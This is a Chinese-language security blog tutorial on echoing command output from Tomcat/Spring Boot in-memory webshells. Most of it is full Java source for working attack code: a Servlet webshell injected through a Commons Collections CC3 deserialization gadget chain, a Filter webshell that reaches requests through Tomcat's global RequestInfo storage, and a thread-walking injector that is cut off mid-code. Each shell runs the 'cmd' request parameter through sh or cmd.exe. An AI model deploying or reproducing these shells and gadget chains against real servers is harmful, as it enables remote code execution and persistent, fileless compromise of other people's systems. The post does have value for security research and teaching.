Tomcat内存马回显

回顾JSP马

详情见：https://www.cnblogs.com/F12-blog/p/18111253
之前说的都是利用 jsp 注入内存马，但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化，所以还是会落地。
但如果直接注入，比如利用反序列化漏洞进行注入，由于 request 和 response 是 jsp 的内置对象，在回显题目上不用考虑，但如果不用 jsp 文件，就需要考虑如何回显的题目。
其实主要要解决的题目就是如何获取 request 和 response 对象。
现在主流的回显技术（部分）主要有：

• linux 下通过文件形貌符，获取 Stream 对象，对当前网络连接进行读写操纵。
  限制：必须是 linux，而且在取文件形貌符的过程中有可能会受到其他连接信息的干扰
  
• 通过ThreadLocal Response回显，基于调用栈获取中获取 response 对象（ApplicationFilterChain中）
  限制：如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前，那么就无法获取到Tomcat Response进行回显。
  
• 通过全局存储 Response回显，寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
  限制：会导致http包超长，但相对比较通用。
  

ThreadLocal Response 回显

什么是ThreadLocal

ThreadLocal的作用就是：线程安全。 ThreadLocal的本质就是一个内部的静态的map，key是当火线程的句柄，value是需要保持的值。 由于是内部静态map，不提供遍历和查询的接口，每个线程只能获取本身线程的value。 如许，就线程安全了，又提供了数据共享的本领。
举个例子

1. package org.example;
4. import java.util.concurrent.TimeUnit;
6. public class NumUtil {
7.     public static int addNum = 0;
8.     public static int add10(int num) throws InterruptedException {
9.         addNum = num;
10.         try {
11.             TimeUnit.SECONDS.sleep(1);
12.         } catch (InterruptedException e){
13.             e.printStackTrace();
14.         }
15.         return addNum + 10;
16.     }
17. }

复制代码

1. package org.example;
3. import java.util.concurrent.ExecutorService;
4. import java.util.concurrent.Executors;
6. public class threadDemo {
7.     public static void main(String[] args) {
8.         ExecutorService executorService = Executors.newFixedThreadPool(20);
9.         for(int i=0;i<20;i++){
10.             int num = i;
11.             executorService.execute(()->{
12.                 try {
13.                     System.out.println(num+"："+NumUtil.add10(num));
14.                 } catch (InterruptedException e) {
15.                     throw new RuntimeException(e);
16.                 }
17.             });
18.         }
19.         executorService.shutdown();
20.     }
21. }
22. // 输出
23. 6：29
24. 11：29
25. 13：29
26. 14：29
27. 0：29
28. 3：29
29. 12：29
30. 15：29
31. 17：29
32. 18：29
33. 7：29
34. 16：29
35. 2：29
36. 1：29
37. 9：29
38. 10：29
39. 19：29
40. 8：29
41. 4：29
42. 5：29

复制代码

一个利用线程来进行对addNum加数的操纵，这结果是不是看着怪怪的，全是29。
这里其实可以联合条件竞争来理解，在多线程的情况下，比如线程1中for循环到数字9，由于不同线程之间变量没有隔离，这时候线程2实行到了addn10方法中，就接替了线程1的工作，进行+10，但是线程2中for循环只到了2。因此会输出2：29如许的数字，其他结果也是同样的道理
解决方法有很多，此中一种就是运用ThreadLocal创建独立的线程变量域：
将之前的工具类改为：

1. public class NumUtil {
3.     private static ThreadLocal<Integer> addNumThreadLocal = new ThreadLocal<>();
5.     public static int add10(int num) {
6.         addNumThreadLocal.set(num);
7.         try {
8.             TimeUnit.SECONDS.sleep(1);
9.         } catch (InterruptedException e) {
10.             e.printStackTrace();
11.         }
12.         return addNumThreadLocal.get() + 10;
13.     }
14. }

复制代码

1. package org.example;
3. import java.util.concurrent.ExecutorService;
4. import java.util.concurrent.Executors;
6. public class threadDemo {
7.     public static void main(String[] args) {
8.         ExecutorService executorService = Executors.newFixedThreadPool(20);
9.         for(int i=0;i<20;i++){
10.             int num = i;
11.             executorService.execute(()->{
12.                 System.out.println(num+"："+NumUtil.add10(num));
13.             });
14.         }
15.         executorService.shutdown();
16.     }
17. }
18. // 输出
19. 4：14
20. 16：26
21. 10：20
22. 18：28
23. 17：27
24. 11：21
25. 9：19
26. 2：12
27. 3：13
28. 8：18
29. 15：25
30. 6：16
31. 7：17
32. 0：10
33. 1：11
34. 13：23
35. 12：22
36. 14：24
37. 19：29
38. 5：15

复制代码

这回就正常了，在这之中我们创建了ThreadLocal，之前也说了本质就是一个用于存放当前进程变量的map，ThreadLocalMap是其内部类，调用了它的set和get方法用于储存和取出变量

ApplicationFilterChain#internalDoFilter

启一个springboot服务(3.0.2)，简朴的写个servlet，然后打个断点访问就能看到调用栈了

可以看到重复调用了internalDoFilter，我们通过观察ApplicationFilterChain这个类可以发现，他内置了两个变量lastServicedRequest和lastServicedResponse，分别都是ThreadLocal类型:

在internalDoFilter方法中对这两个属性进行了赋值，不外得满意上方的if条件，这里的request和response就是我们目标对象，这里dispatcherWrapsSameObject默认就是false，我们可以通过反射修改，第一次访问URL，对dispatcherWrapsSameObject进行修改，第二次访问URL就能获取request和response

Springboot版本题目

springboot2和springboot3，它们的if条件不同
springboot2：

springboot3：

反射修改static final属性

在SpringBoot2中ApplicationDispatcher.WRAP_SAME_OBJECT的类型是一个private static final类型的属性，这种属性由于一些缘故原由无法被反射直接修改，我们可以通过反射去除final修饰符的方式达到修改的目的

modifiers实际就是一个int类型的26，而且每个修饰符都有一个int的值，比如private是2，static是8，final是16那么我们只需要把目标属性的modifiers属性减去16，就相称于去除了final属性，图中取反然后按位与操纵就是实现减16
JDK版本题目

在JDK12+之后，我们就不能通过上述方法移除final修饰符了，会报错NoSuchFiled:modifiers
所以这里并不研究jdk12以后的回显题目，所以在这里将SpringBoot降到了2.6版本，JDK降到了11
初步构造回显

1. package com.example.springboot2.controller;
3. import org.apache.catalina.core.ApplicationFilterChain;
4. import org.springframework.stereotype.Controller;
5. import org.springframework.web.bind.annotation.RequestMapping;
6. import org.springframework.web.bind.annotation.ResponseBody;
8. import javax.servlet.ServletContext;
9. import javax.servlet.ServletRequest;
10. import javax.servlet.ServletResponse;
11. import java.lang.reflect.Field;
12. import java.lang.reflect.Modifier;
14. @Controller
15. public class echoshell {
16.     @RequestMapping("/normal")
17.     @ResponseBody
18.     public String hello() throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
19.         //反射获取3个属性
20.         Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
21.         Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
22.         Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
23.         //去除final修饰符
24.         Field modifiersField = Field.class.getDeclaredField("modifiers");
25.         //设置private可访问可修改
26.         modifiersField.setAccessible(true);
27.         WRAP_SAME_OBJECT_FIELD.setAccessible(true);
28.         lastServicedRequestField.setAccessible(true);
29.         lastServicedResponseField.setAccessible(true);
30.         modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
31.         modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
32.         modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
33.         //反射修改lastServiceresponse和lastservicerequest属性的值
34.         ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
35.         ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
36.         //修改WRAP_SAME_OBJECT_FIELD值为true，进入request判断
37.         boolean wrap_same_object_fieldBoolean = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
38.         //第一次进入时为false和null
39.         if (!wrap_same_object_fieldBoolean || lastServicedResponse == null || lastServicedRequest == null) {
40.             System.out.println("in");
41.             lastServicedRequestField.set(null, new ThreadLocal<>());
42.             lastServicedResponseField.set(null, new ThreadLocal<>());
43.             WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
44.         }
45.         //第二次进入时就进入了if赋值为了request和response，因此进入else
46.         else {
47.             String name = "xxx";
48.             //从req中获取ServletContext对象
49.             // 第二次请求后进入 else 代码块，获取 Request 和 Response 对象，写入回显
50.             ServletRequest servletRequest = lastServicedRequest.get();
51.             ServletContext servletContext = servletRequest.getServletContext();
52.             System.out.println(servletContext);
53.             System.out.println(servletRequest);
55.         }
56.         return "nothing";
57.     }
58. }

复制代码

访问两次成功获取ServletContext和request

反序列化注入Servlet内存马

准备一个CC3的情况的springboot2，写一个反序列化入口

1. package com.example.springboot2.controller;
2. import org.springframework.stereotype.Controller;
3. import org.springframework.web.bind.annotation.RequestMapping;
4. import org.springframework.web.bind.annotation.ResponseBody;
6. import javax.servlet.http.HttpServletRequest;
7. import java.io.ByteArrayInputStream;
8. import java.io.IOException;
9. import java.io.ObjectInputStream;
10. import java.util.Base64;
12. @Controller
13. public class echoshell {
14.     @RequestMapping("/normal")
15.     @ResponseBody
16.     public void hello(HttpServletRequest request) throws IOException {
17.         System.out.println("in");
18.         byte[] data = Base64.getDecoder().decode(request.getParameter("data"));
19.         ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
20.         ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
21.         try{
22.             System.out.println(objectInputStream.readObject());
23.         } catch (ClassNotFoundException e){
24.             e.printStackTrace();
25.         }
26.     }
27. }

复制代码

准备内存马：

1. package com.example.springboot2.controller;
3. import com.sun.org.apache.xalan.internal.xsltc.DOM;
4. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
5. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
6. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
7. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
8. import org.apache.catalina.Wrapper;
9. import org.apache.catalina.core.StandardContext;
11. import javax.servlet.*;
12. import java.io.IOException;
13. import java.io.InputStream;
14. import java.io.PrintWriter;
15. import java.lang.reflect.Field;
16. import java.lang.reflect.Modifier;
17. import java.util.Scanner;
19. public class shellcode extends AbstractTranslet implements Servlet{
21.     static {
22.         try {
23.             Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
24.             Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
25.             Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
26.             Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
27.             Field modifiers = Field.class.getDeclaredField("modifiers");
28.             modifiers.setAccessible(true);
29.             // 去掉final修饰符，设置访问权限
30.             modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
31.             modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
32.             modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
33.             WRAP_SAME_OBJECT.setAccessible(true);
34.             lastServicedRequest.setAccessible(true);
35.             lastServicedResponse.setAccessible(true);
36.             // 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
37.             if (!WRAP_SAME_OBJECT.getBoolean(null)) {
38.                 WRAP_SAME_OBJECT.setBoolean(null, true);
39.                 lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
40.                 lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
41.             } else {
42.                 String name = "xxx";
43.                 //从req中获取ServletContext对象
44.                 // 第二次请求后进入 else 代码块，获取 Request 和 Response 对象，写入回显
45.                 ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
46.                 ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
47.                 ServletRequest servletRequest = threadLocalReq.get();
48.                 ServletResponse servletResponse = threadLocalResp.get();
50.                 ServletContext servletContext = servletRequest.getServletContext();
53.                 if (servletContext.getServletRegistration(name) == null) {
54.                     StandardContext o = null;
56.                     // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
57.                     while (o == null) {
58.                         Field f = servletContext.getClass().getDeclaredField("context");
59.                         f.setAccessible(true);
60.                         Object object = f.get(servletContext);
62.                         if (object instanceof ServletContext) {
63.                             servletContext = (ServletContext) object;
64.                         } else if (object instanceof StandardContext) {
65.                             o = (StandardContext) object;
66.                         }
67.                     }
69.                     //自定义servlet
70.                     Servlet servlet = new shellcode();
72.                     //用Wrapper封装servlet
73.                     Wrapper newWrapper = o.createWrapper();
74.                     newWrapper.setName(name);
75.                     newWrapper.setLoadOnStartup(1);
76.                     newWrapper.setServlet(servlet);
78.                     //向children中添加Wrapper
79.                     o.addChild(newWrapper);
80.                     //添加servlet的映射
81.                     o.addServletMappingDecoded("/shell", name);
83.                 }
84.             }
85.         } catch (Exception e) {
86.             e.printStackTrace();
87.         }
89.     }
91.     @Override
92.     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
94.     }
96.     @Override
97.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
99.     }
101.     @Override
102.     public void init(ServletConfig servletConfig) throws ServletException {
104.     }
106.     @Override
107.     public ServletConfig getServletConfig() {
108.         return null;
109.     }
111.     @Override
112.     public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
113.         String cmd = servletRequest.getParameter("cmd");
114.         boolean isLinux = true;
115.         String osTyp = System.getProperty("os.name");
116.         if (osTyp != null && osTyp.toLowerCase().contains("win")) {
117.             isLinux = false;
118.         }
119.         String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
120.         InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
121.         Scanner s = new Scanner(in).useDelimiter("\\a");
122.         String output = s.hasNext() ? s.next() : "";
123.         PrintWriter out = servletResponse.getWriter();
124.         out.println(output);
125.         out.flush();
126.         out.close();
127.     }
129.     @Override
130.     public String getServletInfo() {
131.         return null;
132.     }
134.     @Override
135.     public void destroy() {
137.     }
138. }

复制代码

cc3：

1. package com.f12;
2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
5. import org.apache.commons.collections.Transformer;
6. import org.apache.commons.collections.functors.ChainedTransformer;
7. import org.apache.commons.collections.functors.ConstantTransformer;
8. import org.apache.commons.collections.functors.InstantiateTransformer;
9. import org.apache.commons.collections.functors.InvokerTransformer;
10. import org.apache.commons.collections.keyvalue.TiedMapEntry;
11. import org.apache.commons.collections.map.LazyMap;
13. import javax.xml.transform.Templates;
14. import java.io.*;
15. import java.lang.annotation.Target;
16. import java.lang.reflect.*;
17. import java.nio.file.Files;
18. import java.nio.file.Paths;
19. import java.util.Base64;
20. import java.util.HashMap;
21. import java.util.Map;
23. public class CC3 {
24.     public static void serialize(Object obj) throws IOException {
25.         FileOutputStream fos = new FileOutputStream("cc3.bin");
26.         ObjectOutputStream oos = new ObjectOutputStream(fos);
27.         oos.writeObject(obj);
28.     }
29.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
30.         FileInputStream fis = new FileInputStream(filename);
31.         ObjectInputStream ois = new ObjectInputStream(fis);
32.         ois.readObject();
33.     }
34.     public static String encryptToBase64(String filePath) {
35.         if (filePath == null) {
36.             return null;
37.         }
38.         try {
39.             byte[] b = Files.readAllBytes(Paths.get(filePath));
40.             return Base64.getEncoder().encodeToString(b);
41.         } catch (IOException e) {
42.             e.printStackTrace();
43.         }
45.         return null;
46.     }
47.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
48.         TemplatesImpl templates = new TemplatesImpl();
49.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
50.         _name.setAccessible(true);
51.         _name.set(templates, "1");
52.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
53.         _bytecodes.setAccessible(true);
54.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\springboot2\\target\\classes\\com\\example\\springboot2\\controller\\shellcode.class"));
55.         byte[][] code = {bytes};
56.         _bytecodes.set(templates, code);
57.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
58.         _tfactory.setAccessible(true);
59.         _tfactory.set(templates, new TransformerFactoryImpl());
60. //        Transformer transformer = templates.newTransformer();
61.         Transformer[] transformers = new Transformer[]{
62.                 new ConstantTransformer(TrAXFilter.class),
63.                 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
64.         };
65.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
66.         HashMap<Object, Object> map = new HashMap<>();
67.         Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
68.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
69.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
70.         constructor.setAccessible(true);
71.         InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
72.         Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
73.         Object o = constructor.newInstance(Target.class, newMap);
74.         serialize(o);
75.         System.out.println(encryptToBase64("cc3.bin"));
76. //        deserialize("cc3.bin");
77. //        Map<Object, Object> map = new HashMap<>();
78. //        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
79. //        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
80. //        HashMap<Object, Object> hashMap = new HashMap<>();
81. //        hashMap.put(tiedMapEntry, null);
82. //        map.remove(null);
83. //        Field factory = LazyMap.class.getDeclaredField("factory");
84. //        factory.setAccessible(true);
85. //        factory.set(lazymap, chainedTransformer);
86. //        serialize(hashMap);
87. //        deserialize("cc3.bin");
88.     }
89. }

复制代码

访问两次，固然会报错，但是能成功注入内存马

局限性

上述是一种半通用的方法，有肯定的局限性，该方法入口类是在ApplicationFilterChain#internalDofilter方法，如果序列化触发点在这之前的话就无法注入（比如shiro），而且还有JDK和SpringBoot的版本限制
基于Tomcat全局存储进行回显

通杀某些版本
流程分析

还是起个springboot，简朴写个servlet，打个断点看调用栈，定位Http11Processor,调用了getAdapter().service(request, response);,此中的request和response都来自父类AbstractProcessor

往上找，在AbstractProtocol#ConnectionHandler中调用了register方法注册了processor，这里的processor就是上面的Http11processor：

继续跟进，在register方法中，有个RequestInfo类型的对象rp，里面封装着一个request对象，rp.setGlobalProcessor(global);将rp存入global属性中

这个request对象是和之前Http11processor中的request对象相同的，既然把同一个request对象放到了global中，所以我们尝试寻找存储了AbstractProtocol实例的地方，由于global对象是在内部类ConnectionHandler中，如果可以获取到AbstractProtocol对象，那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例，进而获取global：既然同一个request对象都被封装进了AbstractProtocol的global属性当中，那现在需要做的就是如何找到储存了AbstractProtocol类的地方，只要找到了我们就可以通过反射获取，找到AbstractEndpoint此中的Handler接口：

思路图如下：

所以现在就是需要获取AbstractProtocol，我们继续观察调用栈，可以发现在CoyoteAdapter类中的connector属性中存放了protocolHandler对象：

protocolHandler和AbstractProtocol的继承关系图如下：

而且通过观察可以发现存在connector属性中的protocolHandler属性真实类型为Http11NioProtocol对象，而这刚好就是AbstractProtocol的子类，我们可以通过向上转型从而获取AbstractProtocol，然后去获取global属性，进而获取requestinfo最后获取request对象，这个Connector类是在org.apache.catalina包下的，Tomcat会最先加载这个包，所以我们到Tomcat启动过程中寻找一下Connector类的踪迹。如果认识Spring boot启动Tomcat服务器流程的话，可以知道在TomcatServletWebServerFactory#getWebServer方法中实行了addConnector方法，实行完之后就会把connector对象封装到StandardService对象中：

后面的思路就是通过WebappClassLoaderBase这个线程上下文类加载器与StrandardService来产生联系，这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()来直接获取到实例，所以整个寻找链也就完成了：

1. WebappClassLoaderBase -->
2.         resources(StandardRoot) -->
3.                 context(StandardContext) -->
4.                         context(ApplicationContext) -->
5.                                 service(StandardService) -->
6.                                         connectors(Connector[]) -->
7.                                                 protocolHandler(ProtocolHandler) -->
8.                                                         (转型)protocolHandler(AbstractProtocol) -->
9.                                                                 (内部类)hanlder(AbstractProtocol$ConnectorHandler) -->
10.                                                                         global(RequestGroupInfo) -->
11.                                                                                 processors(ArrayList) -->
12.                                                                                         requestInfo(RequestInfo) -->
13.                                                                                                 req(org.apache.coyote.Request) --getNote-->
14.                                                                                                         request(org.apache.connector.Request) -->
15.                                                                                                                 response(org.apache.connector.Response)

复制代码

有一点需要注意的是，我们最后拿到的Request对象是org.apache.coyote.Request，而真正需要其实是org.apache.catalina.connector.Request对象，前者是是应用层对于请求-响应对象的底层实现，并不方便使用，通过调用其getNote方法可以得到后者
内存马回显构造

1. package com.example.springboot2.filter;
2. import org.apache.catalina.Context;
3. import org.apache.catalina.connector.Connector;
4. import org.apache.catalina.core.ApplicationContext;
5. import org.apache.catalina.core.StandardService;
6. import org.apache.catalina.loader.WebappClassLoaderBase;
7. import org.apache.coyote.AbstractProtocol;
8. import org.apache.coyote.Request;
9. import org.apache.coyote.RequestGroupInfo;
10. import org.apache.coyote.RequestInfo;
11. import org.apache.tomcat.util.net.AbstractEndpoint;
12. import javax.servlet.*;
13. import javax.servlet.annotation.WebFilter;
14. import java.io.IOException;
15. import java.io.InputStream;
16. import java.io.PrintWriter;
17. import java.lang.reflect.Field;
18. import java.lang.reflect.Method;
19. import java.util.ArrayList;
20. import java.util.Scanner;
22. @WebFilter(filterName = "testFilter", urlPatterns = "/*")
23. public class Filter3 implements Filter {
24.     @Override
25.     public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException {
26.         String cmd = null;
27.         try {
28.             WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
29.             Context context = loader.getResources().getContext();
30.             // 获取 ApplicationContext
31.             Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
32.             applicationContextField.setAccessible(true);
33.             ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);
34.             // 获取 StandardService
35.             Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
36.             serviceField.setAccessible(true);
37.             StandardService standardService = (StandardService) serviceField.get(applicationContext);
39.             // 获取 Connector 并筛选 HTTP Connector
40.             Connector[] connectors = standardService.findConnectors();
41.             for (Connector connector : connectors) {
42.                 if (connector.getScheme().contains("http")) {
43.                     // 获取 AbstractProtocol 对象
44.                     AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();
46.                     // 获取 AbstractProtocol$ConnectionHandler
47.                     Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
48.                     getHandler.setAccessible(true);
49.                     AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);
51.                     // global(RequestGroupInfo)
52.                     Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
53.                     globalField.setAccessible(true);
54.                     RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);
56.                     // processors (ArrayList)
57.                     Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
58.                     processorsField.setAccessible(true);
59.                     ArrayList processors = (ArrayList) processorsField.get(global);
61.                     for (Object processor : processors) {
62.                         RequestInfo requestInfo = (RequestInfo) processor;
63.                         // 依据 QueryString 获取对应的 RequestInfo
64.                         if (requestInfo.getCurrentQueryString().contains("cmd")) {
65.                             Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
66.                             reqField.setAccessible(true);
67.                             // org.apache.coyote.Request
68.                             Request requestTemp = (Request) reqField.get(requestInfo);
69.                             // org.apache.catalina.connector.Request
70.                             org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);
72.                             // 执行命令
73.                             cmd = request.getParameter("cmd");
74.                             String[] cmds = null;
75.                             if (cmd != null) {
76.                                 if (System.getProperty("os.name").toLowerCase().contains("win")) {
77.                                     cmds = new String[]{"cmd", "/c", cmd};
78.                                 } else {
79.                                     cmds = new String[]{"/bin/bash", "-c", cmd};
80.                                 }
81.                                 InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
82.                                 Scanner s = new Scanner(inputStream).useDelimiter("//A");
83.                                 String output = s.hasNext() ? s.next() : "";
84.                                 PrintWriter writer = request.getResponse().getWriter();
85.                                 writer.write(output);
86.                                 writer.flush();
87.                                 writer.close();
89.                                 break;
90.                             }
91.                         }
92.                     }
93.                 }
94.             }
95.         } catch (Exception e) {
96.             e.printStackTrace();
97.         }
99.         chain.doFilter(request1, response1);
100.     }
101. }

复制代码

主类记得加上扫描注解

1. package com.example.springboot2;
2. import org.springframework.boot.SpringApplication;
3. import org.springframework.boot.autoconfigure.SpringBootApplication;
4. import org.springframework.boot.web.servlet.ServletComponentScan;
6. @SpringBootApplication
7. @ServletComponentScan
8. public class Springboot2Application {
10.     public static void main(String[] args) {
11.         SpringApplication.run(Springboot2Application.class, args);
12.     }
14. }

复制代码

局限性

该方法在tomcat10以下应该是可以通杀的，因为之前用的高版本springBoot，springboot在2.6以后移除了getresources方法，所以寄
通过遍历进程来获取Context

1. package com.example.springboot2.controller;
2. import com.sun.org.apache.xalan.internal.xsltc.DOM;
3. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
5. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
6. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
7. import org.apache.catalina.Wrapper;
8. import org.apache.catalina.core.StandardContext;
9. import org.apache.catalina.core.StandardEngine;
10. import org.apache.catalina.core.StandardHost;
11. import javax.servlet.*;
12. import java.io.IOException;
13. import java.io.InputStream;
14. import java.io.PrintWriter;
15. import java.lang.reflect.Field;
16. import java.util.HashMap;
17. import java.util.Iterator;
18. import java.util.Scanner;
20. public class Tomcat6789 extends AbstractTranslet implements Servlet {
21.     public static Object getField(Object object, String fieldName) {
22.         Field declaredField;
23.         Class clazz = object.getClass();
24.         while (clazz != Object.class) {
25.             try {
27.                 declaredField = clazz.getDeclaredField(fieldName);
28.                 declaredField.setAccessible(true);
29.                 return declaredField.get(object);
30.             } catch (NoSuchFieldException e){}
31.             catch (IllegalAccessException e){}
32.             clazz = clazz.getSuperclass();
33.         }
34.         return null;
35.     }
37.     public Tomcat6789() {
38.     }
40.     @Override
41.     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
43.     }
45.     @Override
46.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
48.     }
50.     static {
51.         String uri = "";
52.         String serverName = "";
53.         Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
54.         Object object;
55.         for (Thread thread : threads) {
57.             if (thread == null) {
58.                 continue;
59.             }
60.             if (thread.getName().contains("exec")) {
61.                 continue;
62.             }
63.             Object target = getField(thread, "target");
64.             if (!(target instanceof Runnable)) {
65.                 continue;
66.             }
68.             try {
69.                 object = getField(getField(getField(target, "this$0"), "handler"), "global");
70.             } catch (Exception e) {
71.                 continue;
72.             }
73.             if (object == null) {
74.                 continue;
75.             }
76.             java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
77.             Iterator iterator = processors.iterator();
78.             while (iterator.hasNext()) {
79.                 Object next = iterator.next();
81.                 Object req = getField(next, "req");
82.                 Object serverPort = getField(req, "serverPort");
83.                 if (serverPort.equals(-1)){continue;}
84.                 org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
85.                 serverName = (String) getField(serverNameMB, "strValue");
86.                 if (serverName == null){
87.                     serverName = serverNameMB.toString();
88.                 }
89.                 if (serverName == null){
90.                     serverName = serverNameMB.getString();
91.                 }
93.                 org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
94.                 uri = (String) getField(uriMB, "strValue");
95.                 if (uri == null){
96.                     uri = uriMB.toString();
97.                 }
98.                 if (uri == null){
99.                     uri = uriMB.getString();
100.                 }
101.             }
102.         }
103.         Thread[] threads2 = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
104.         for (Thread thread : threads2) {
105.             if (thread == null) {
106.                 continue;
107.             }
108.             if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
109.                 Object target = getField(thread, "target");
110.                 HashMap children;
111.                 Object jioEndPoint = null;
112.                 try {
113.                     jioEndPoint = getField(target, "this$0");
114.                 }catch (Exception e){}
115.                 if (jioEndPoint == null){
116.                     try{
117.                         jioEndPoint = getField(target, "endpoint");
118.                     }catch (Exception e){}
119.                 }
120.                 Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
121.                 StandardEngine engine = null;
122.                 try {
123.                     engine = (StandardEngine) getField(service, "container");
124.                 }catch (Exception e){}
125.                 if (engine == null){
126.                     engine = (StandardEngine) getField(service, "engine");
127.                 }
129.                 children = (HashMap) getField(engine, "children");
130.                 StandardHost standardHost = (StandardHost) children.get(serverName);
132.                 children = (HashMap) getField(standardHost, "children");
133.                 Iterator iterator = children.keySet().iterator();
134.                 while (iterator.hasNext()){
135.                     String contextKey = (String) iterator.next();
136.                     if (!(uri.startsWith(contextKey))){continue;}
137.                     StandardContext standardContext = (StandardContext) children.get(contextKey);
138.                     Servlet myServlet = new Tomcat6789();
139.                     Wrapper newWrapper = standardContext.createWrapper();
140.                     newWrapper.setName("xxx");
141.                     newWrapper.setLoadOnStartup(1);
